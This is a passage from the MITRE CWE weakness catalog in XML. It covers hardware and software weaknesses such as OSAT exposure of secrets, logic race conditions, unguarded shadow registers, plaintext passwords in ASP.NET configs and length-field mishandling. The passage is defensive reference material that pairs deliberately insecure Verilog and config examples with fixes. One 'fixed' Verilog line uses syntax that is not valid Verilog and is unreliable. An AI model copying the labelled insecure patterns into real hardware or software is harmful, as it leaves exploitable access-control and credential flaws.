			  <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements.</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-05-31</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1297" Name="Unprotected Confidential Information on Device is Accessible by OSAT Vendors" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product does not adequately protect confidential information on the device from being accessed by Outsourced Semiconductor Assembly and Test (OSAT) vendors.</Description>
			<Extended_Description>
				<xhtml:p>In contrast to complete vertical integration of architecting, designing, manufacturing, assembling, and testing chips all within a single organization, an organization can choose to simply architect and design a chip before outsourcing the rest of the process to OSAT entities (e.g., external foundries and test houses). In the latter example, the device enters an OSAT facility in a much more vulnerable pre-production stage where many debug and test modes are accessible. Therefore, the chipmaker must place a certain level of trust with the OSAT. To counter this, the chipmaker often requires the OSAT partner to enter into restrictive non-disclosure agreements (NDAs). Nonetheless, OSAT vendors likely have many customers, which increases the risk of accidental sharing of information. There may also be a security vulnerability in the information technology (IT) system of the OSAT facility. Alternatively, a malicious insider at the OSAT facility may carry out an insider attack. Considering these factors, it behooves the chipmaker to minimize any confidential information in the device that may be accessible to the OSAT vendor.</xhtml:p>
				<xhtml:p>Logic errors during design or synthesis could misconfigure the interconnection of the debug components, which could provide improper authorization to sensitive information.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="285" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>	
				<Language Name="Verilog" Prevalence="Undetermined"/>
				<Language Name="VHDL" Prevalence="Undetermined"/>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Processor Hardware" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Access Control</Scope>
					<Scope>Authentication</Scope>
					<Scope>Authorization</Scope>
					<Scope>Availability</Scope>
					<Scope>Accountability</Scope>
					<Scope>Non-Repudiation</Scope>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Impact>Modify Memory</Impact>
					<Impact>Modify Files or Directories</Impact>
					<Likelihood>Medium</Likelihood>
					<Note>The impact depends on the confidential information itself and who is inadvertently granted access. For example, if the confidential information is a key that can unlock all the parts of a generation, the impact could be severe.</Note>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
				<Detection_Method>
				<Method>Architecture or Design Review</Method>
				<Description>Appropriate Post-Si tests should be carried out to ensure that residual confidential information is not left on parts leaving one facility for another facility.</Description>
				<Effectiveness>High</Effectiveness>
				</Detection_Method>
				<Detection_Method>
				<Method>Dynamic Analysis with Manual Results Interpretation</Method>
				<Description>Appropriate Post-Si tests should be carried out to ensure that residual confidential information is not left on parts leaving one facility for another facility.</Description>
				<Effectiveness>Moderate</Effectiveness>
				</Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>
					<xhtml:ul>
					  <xhtml:li>Ensure that when an OSAT vendor is allowed to access test interfaces necessary for preproduction and returned parts, the vendor only pulls the minimal information necessary. Also, architect the product in such a way that, when an "unlock device" request comes, it only unlocks that specific part and not all the parts for that product line.</xhtml:li>
					  <xhtml:li>Ensure that the product's non-volatile memory (NVM) is scrubbed of all confidential information and secrets before handing it over to an OSAT.</xhtml:li>
					  <xhtml:li>Arrange to secure all communication between an OSAT facility and the chipmaker.</xhtml:li>
					</xhtml:ul>
				</Description>
				<Effectiveness>Moderate</Effectiveness>
				</Mitigation>
			</Potential_Mitigations>
			
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>The following example shows how an attacker can take advantage of a piece of confidential information that has not been protected from the OSAT.</Intro_Text>
					<Body_Text>Suppose the preproduction device contains NVM (a storage medium that by definition/design can retain its data without power), and this NVM contains a key that can unlock all the parts for that generation.  An OSAT facility accidentally leaks the key.</Body_Text>
					<Body_Text>Compromising a key that can unlock all the parts of a generation can be devastating to a chipmaker.</Body_Text>
					<Body_Text>The likelihood of such a compromise can be reduced by ensuring all memories on the preproduction device are properly scrubbed.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="1"/>
            <Related_Attack_Pattern CAPEC_ID="180"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1113"/>
				<Reference External_Reference_ID="REF-1114"/>
			</References>
			<Notes>
			  <Note Type="Maintenance">This entry might be subject to CWE Scope Exclusion SCOPE.SITUATIONS (Focus on situations in which weaknesses may appear); SCOPE.HUMANPROC (Human/organizational process; and/or SCOPE.CUSTREL (Not customer-relevant).</Note>
	   <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements.</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-05-29</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1298" Name="Hardware Logic Contains Race Conditions" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>A race condition in the hardware logic results in undermining security guarantees of the system.</Description>
			<Extended_Description>
				<xhtml:p>A race condition in logic circuits typically occurs when a logic gate gets inputs from signals that have traversed different paths while originating from the same source. Such inputs to the gate can change at slightly different times in response to a change in the source signal. This results in a timing error or a glitch (temporary or permanent) that causes the output to change to an unwanted state before settling back to the desired state. If such timing errors occur in access control logic or finite state machines that are implemented in security sensitive flows, an attacker might exploit them to circumvent existing protections.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="362" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Name="Verilog" Prevalence="Undetermined"/>
                <Language Name="VHDL" Prevalence="Undetermined"/>
                <Technology Class="System on Chip" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Access Control</Scope>
					<Impact>Bypass Protection Mechanism</Impact>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Alter Execution Logic</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Adopting design practices that encourage designers to recognize and eliminate race conditions, such as Karnaugh maps, could result in the decrease in occurrences of race conditions.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Logic redundancy can be implemented along security critical paths to prevent race conditions. To avoid metastability, it is a good practice in general to default to a secure state in which access is not given to untrusted agents.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>The code below shows a 2x1 multiplexor using logic gates. Though the code shown below results in the minimum gate solution, it is disjoint and causes glitches.</Intro_Text>
					<Example_Code Nature="Bad" Language="Verilog">
						// 2x1 Multiplexor using logic-gates<xhtml:br/>
                        <xhtml:br/>
						module glitchEx(<xhtml:br/>
						<xhtml:div style="margin-left:1em;">
							input wire in0, in1, sel,<xhtml:br/>
							output wire z<xhtml:br/>
						</xhtml:div>
						);<xhtml:br/>
                        <xhtml:br/>
						wire not_sel;<xhtml:br/>
						wire and_out1, and_out2;<xhtml:br/>
						<xhtml:br/>
						assign not_sel = ~sel;<xhtml:br/>
						assign and_out1 = not_sel &amp; in0;<xhtml:br/>
						assign and_out2 = sel &amp; in1;<xhtml:br/>
                        <xhtml:br/>
						// Buggy line of code:<xhtml:br/>
						assign z = and_out1 | and_out2; // glitch in signal z<xhtml:br/>
						<xhtml:br/>
						endmodule<xhtml:br/>
					</Example_Code>
					<Body_Text>The buggy line of code, commented above, results in signal 'z' periodically changing to an unwanted state. Thus, any logic that references signal 'z' may access it at a time when it is in this unwanted state. This line should be replaced with the line shown below in the Good Code Snippet which results in signal 'z' remaining in a continuous, known, state. Reference for the above code, along with waveforms for simulation can be found in the references below.</Body_Text>
					<Example_Code Nature="Good" Language="Verilog">
						assign z &lt;= and_out1 or and_out2 or (in0 and in1);
					</Example_Code>
					<Body_Text>This line of code removes the glitch in signal z.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="26"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1115"/>
				<Reference External_Reference_ID="REF-1116"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-02-10</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1299" Name="Missing Protection Mechanism for Alternate Hardware Interface" Abstraction="Base" Structure="Simple" Status="Draft">
            <Description>The lack of protections on alternate paths to access
                control-protected assets (such as unprotected shadow registers
                and other external facing unguarded interfaces) allows an
                attacker to bypass existing protections to the asset that are
		only performed against the primary path.</Description>
			<Extended_Description>
                <xhtml:p>An asset inside a chip might have access-control
                    protections through one interface. However, if all paths to
                    the asset are not protected, an attacker might compromise
                    the asset through alternate paths. These alternate paths
                    could be through shadow or mirror registers inside the IP
                    core, or could be paths from other external-facing
                    interfaces to the IP core or SoC.</xhtml:p>
                <xhtml:p>Consider an SoC with various interfaces such as UART,
                    SMBUS, PCIe, USB, etc. If access control is implemented for
                    SoC internal registers only over the PCIe interface, then
                    an attacker could still modify the SoC internal registers
                    through alternate paths by coming through interfaces such
                    as UART, SMBUS, USB, etc. </xhtml:p>
                <xhtml:p>Alternatively, attackers might be able to bypass
                    existing protections by exploiting unprotected, shadow
                    registers. Shadow registers and mirror registers typically
                    refer to registers that can be accessed from multiple
                    addresses. Writing to or reading from the aliased/mirrored
                    address has the same effect as writing to the address of
                    the main register. They are typically implemented within an
                    IP core or SoC to temporarily hold certain data. These data
                    will later be updated to the main register, and both
                    registers will be in synch. If the shadow registers are not
                    access-protected, attackers could simply initiate
                    transactions to the shadow registers and compromise system
                    security. </xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="PeerOf" CWE_ID="1191" View_ID="1194" Ordinal="Primary"/>
				<Related_Weakness Nature="ChildOf" CWE_ID="420" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="ChildOf" CWE_ID="288" View_ID="1000"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Microcontroller Hardware" Prevalence="Undetermined"/>
				<Technology Name="Processor Hardware" Prevalence="Undetermined"/>
				<Technology Name="Bus/Interface Hardware" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
            </Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Scope>Access Control</Scope>
					<Impact>Modify Memory</Impact>
					<Impact>Read Memory</Impact>
					<Impact>DoS: Resource Consumption (Other)</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Alter Execution Logic</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
					<Impact>Quality Degradation</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Requirements</Phase>
                    <Description>Protect assets from accesses against all potential interfaces and alternate paths. </Description>
                    <Effectiveness>Defense in Depth</Effectiveness>
				</Mitigation>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
                    <Description>Protect assets from accesses against all potential interfaces and alternate paths. </Description>
                    <Effectiveness>Defense in Depth</Effectiveness>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
                    <Description>Protect assets from accesses against all potential interfaces and alternate paths. </Description>
                    <Effectiveness>Defense in Depth</Effectiveness>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
                    <Intro_Text>
                        <xhtml:p>
                            Register SECURE_ME is located at address 0xF00. A
                            mirror of this register called COPY_OF_SECURE_ME is
                            at location 0x800F00. The register SECURE_ME is
                            protected from malicious agents and only allows
                            access to select, while COPY_OF_SECURE_ME is not. 
                        </xhtml:p>
                        <xhtml:p>
                            Access control is implemented using an allowlist (as
                            indicated by acl_oh_allowlist). The identity of the
                            initiator of the transaction is indicated by the
                            one hot input, incoming_id. This is checked against
                            the acl_oh_allowlist (which contains a list of
                            initiators that are allowed to access the asset). 
                        </xhtml:p>
                        <xhtml:p>
                            Though this example is shown in Verilog, it will
                            apply to VHDL as well. 
                        </xhtml:p>
                    </Intro_Text>
                    <Example_Code Nature="Informative" Language="Verilog">
                        module foo_bar(data_out, data_in, incoming_id, address, clk, rst_n);<xhtml:br/>
                        output [31:0] data_out;<xhtml:br/>
                        input [31:0] data_in, incoming_id, address;<xhtml:br/>
                        input clk, rst_n;<xhtml:br/>
                        wire write_auth, addr_auth;<xhtml:br/>
                        reg [31:0] data_out, acl_oh_allowlist, q;<xhtml:br/>
                        assign write_auth = | (incoming_id &amp; acl_oh_allowlist) ? 1 : 0; <xhtml:br/>
                        always @*<xhtml:br/>
                        <xhtml:div style="margin-left:1em;">
                            acl_oh_allowlist &lt;= 32'h8312; <xhtml:br/>
                        </xhtml:div>
                        assign addr_auth = (address == 32'hF00) ? 1: 0;<xhtml:br/>
                        always @ (posedge clk or negedge rst_n)<xhtml:br/>
                        <xhtml:div style="margin-left:1em;">
                            if (!rst_n)<xhtml:br/>
                            <xhtml:div style="margin-left:1em;">
                                begin<xhtml:br/>
                                <xhtml:div style="margin-left:1em;">
                                    q &lt;= 32'h0;<xhtml:br/>
                                    data_out &lt;= 32'h0;<xhtml:br/>
                                </xhtml:div>
                                end<xhtml:br/>
                            </xhtml:div>
                            else<xhtml:br/>
                            <xhtml:div style="margin-left:1em;">
                                begin<xhtml:br/>
                                <xhtml:div style="margin-left:1em;">
                                    q &lt;= (addr_auth &amp; write_auth) ? data_in: q;<xhtml:br/>
                                    data_out &lt;= q;<xhtml:br/>
                                </xhtml:div>
                                end<xhtml:br/>
                            </xhtml:div>
                            end<xhtml:br/>
                        </xhtml:div>
                        endmodule<xhtml:br/>
                    </Example_Code>
					<Example_Code Nature="Bad" Language="Verilog">assign addr_auth = (address == 32'hF00) ? 1: 0;</Example_Code>
                    <Body_Text>The bugged line of code is repeated in the Bad
                        example above. Weakness arises from the fact that the
                        SECURE_ME register can be modified by writing to the
                        shadow register COPY_OF_SECURE_ME, the address of
                        COPY_OF_SECURE_ME should also be included in the check.
                        That buggy line of code should instead be replaced as
                        shown in the Good Code Snippet below. 
                    </Body_Text>
					<Example_Code Nature="Good" Language="Verilog">assign addr_auth = (address == 32'hF00 || address == 32'h800F00) ? 1: 0;</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
				<Observed_Example>
					<Reference>CVE-2017-18293</Reference>
                    <Description>When GPIO is protected by blocking access
                        to corresponding GPIO resource registers,
                        protection can be bypassed by writing to the
                        corresponding banked GPIO registers instead.
                    </Description>
		    <Link>https://www.cve.org/CVERecord?id=CVE-2017-18293</Link>
				</Observed_Example>
				<Observed_Example>
				  <Reference>CVE-2020-15483</Reference>
				  <Description>monitor device allows access to physical UART debug port without authentication</Description>
				  <Link>https://www.cve.org/CVERecord?id=CVE-2020-15483</Link>
				</Observed_Example>
			</Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="457"/>
            <Related_Attack_Pattern CAPEC_ID="554"/>
         </Related_Attack_Patterns>
         <Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2019-10-02</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Common_Consequences, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="13" Name="ASP.NET Misconfiguration: Password in Configuration File" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="260" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Credentials stored in configuration files should be encrypted, Use standard APIs and industry accepted algorithms to encrypt the credentials stored in configuration files.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database, but the pair is stored in plaintext.</Intro_Text>
               <Example_Code Nature="Bad" Language="ASP.NET">
                  <xhtml:div>...<xhtml:br/>&lt;connectionStrings&gt;<xhtml:div style="margin-left:1em;">&lt;add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /&gt;</xhtml:div>&lt;/connectionStrings&gt;<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>ASP.NET Misconfiguration: Password in Configuration File</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-103"/>
            <Reference External_Reference_ID="REF-104"/>
            <Reference External_Reference_ID="REF-105"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated References, Demonstrative_Example, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="130" Name="Improper Handling of Length Parameter Inconsistency" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.</Description>
         <Extended_Description>If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="240" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1340" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="805" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Sometimes"/>
            <Language Name="C++" Prevalence="Sometimes"/>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>length manipulation</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>length tampering</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Modify Memory</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When processing structured incoming data containing a size field followed by raw data, ensure that you identify and resolve any inconsistencies between the size field and the actual size of the data.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Do not let the user control the size of the buffer.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Validate that the length of the user-supplied data is consistent with the buffer size.</Description>
            </Mitigation>
         </Potential_Mitigations>
